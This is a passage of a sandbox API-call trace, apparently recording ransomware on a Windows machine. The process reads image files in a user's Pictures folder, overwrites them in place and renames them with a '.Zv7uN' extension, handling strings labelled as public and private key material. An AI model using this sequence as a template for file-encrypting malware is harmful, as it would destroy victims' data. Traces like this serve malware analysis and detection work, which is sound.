lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.111] GetCurrentThreadId () returned 0xa30 [0085.111] GetCurrentThreadId () returned 0xa30 [0085.111] GetCurrentThreadId () returned 0xa30 [0085.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\mQqJLf-H9R2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\mqqjlf-h9r2.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.111] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.111] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.112] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x6f88 [0085.112] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.112] ReadFile (in: hFile=0x110, lpBuffer=0x1f6e9a0, nNumberOfBytesToRead=0x6f88, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f6e9a0*, lpNumberOfBytesRead=0x18f6a0*=0x6f88, lpOverlapped=0x0) returned 1 [0085.114] CloseHandle (hObject=0x110) returned 1 [0085.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\mQqJLf-H9R2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\mqqjlf-h9r2.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.117] WriteFile (in: hFile=0x110, lpBuffer=0x1f769d0*, nNumberOfBytesToWrite=0x6f88, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f769d0*, lpNumberOfBytesWritten=0x18f6ac*=0x6f88, lpOverlapped=0x0) returned 1 [0085.119] CloseHandle (hObject=0x110) returned 1 [0085.121] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\mQqJLf-H9R2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\mqqjlf-h9r2.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\mQqJLf-H9R2.gif.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\mqqjlf-h9r2.gif.zv7un")) returned 1 [0085.122] GetCurrentThreadId () returned 0xa30 [0085.122] GetCurrentThreadId () returned 0xa30 [0085.122] GetCurrentThreadId () returned 0xa30 [0085.122] GetCurrentThreadId () returned 0xa30 [0085.122] GetCurrentThreadId () returned 0xa30 [0085.122] GetCurrentThreadId () returned 0xa30 [0085.123] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf85cb340, ftCreationTime.dwHighDateTime=0x1d5e16c, ftLastAccessTime.dwLowDateTime=0x89d50350, ftLastAccessTime.dwHighDateTime=0x1d5e81a, ftLastWriteTime.dwLowDateTime=0x89d50350, ftLastWriteTime.dwHighDateTime=0x1d5e81a, nFileSizeHigh=0x0, nFileSizeLow=0x1019f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OCI93tz5rnG3Offp.jpg", cAlternateFileName="OCI93T~1.JPG")) returned 1 [0085.123] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.123] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.123] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\OCI93tz5rnG3Offp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\oci93tz5rng3offp.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf85cb340, ftCreationTime.dwHighDateTime=0x1d5e16c, ftLastAccessTime.dwLowDateTime=0x89d50350, ftLastAccessTime.dwHighDateTime=0x1d5e81a, ftLastWriteTime.dwLowDateTime=0x89d50350, ftLastWriteTime.dwHighDateTime=0x1d5e81a, nFileSizeHigh=0x0, nFileSizeLow=0x1019f)) returned 1 [0085.123] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\OCI93tz5rnG3Offp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\oci93tz5rng3offp.jpg")) returned 0x20 [0085.123] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\OCI93tz5rnG3Offp.jpg", dwFileAttributes=0x80) returned 1 [0085.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f55b3c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.127] GetCurrentThreadId () returned 0xa30 [0085.127] GetCurrentThreadId () returned 0xa30 [0085.127] GetCurrentThreadId () returned 0xa30 [0085.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f66b9c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.128] GetCurrentThreadId () returned 0xa30 [0085.128] GetCurrentThreadId () returned 0xa30 [0085.128] GetCurrentThreadId () returned 0xa30 [0085.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\OCI93tz5rnG3Offp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\oci93tz5rng3offp.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.128] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.128] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.128] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x1019f [0085.129] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.129] ReadFile (in: hFile=0x110, lpBuffer=0x1f6e9a0, nNumberOfBytesToRead=0x1019f, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f6e9a0*, lpNumberOfBytesRead=0x18f6a0*=0x1019f, lpOverlapped=0x0) returned 1 [0085.131] CloseHandle (hObject=0x110) returned 1 [0085.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\OCI93tz5rnG3Offp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\oci93tz5rng3offp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.142] WriteFile (in: hFile=0x110, lpBuffer=0x1f809d0*, nNumberOfBytesToWrite=0x1019f, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f809d0*, lpNumberOfBytesWritten=0x18f6ac*=0x1019f, lpOverlapped=0x0) returned 1 [0085.147] CloseHandle (hObject=0x110) returned 1 [0085.149] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\OCI93tz5rnG3Offp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\oci93tz5rng3offp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\OCI93tz5rnG3Offp.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\oci93tz5rng3offp.jpg.zv7un")) returned 1 [0085.151] 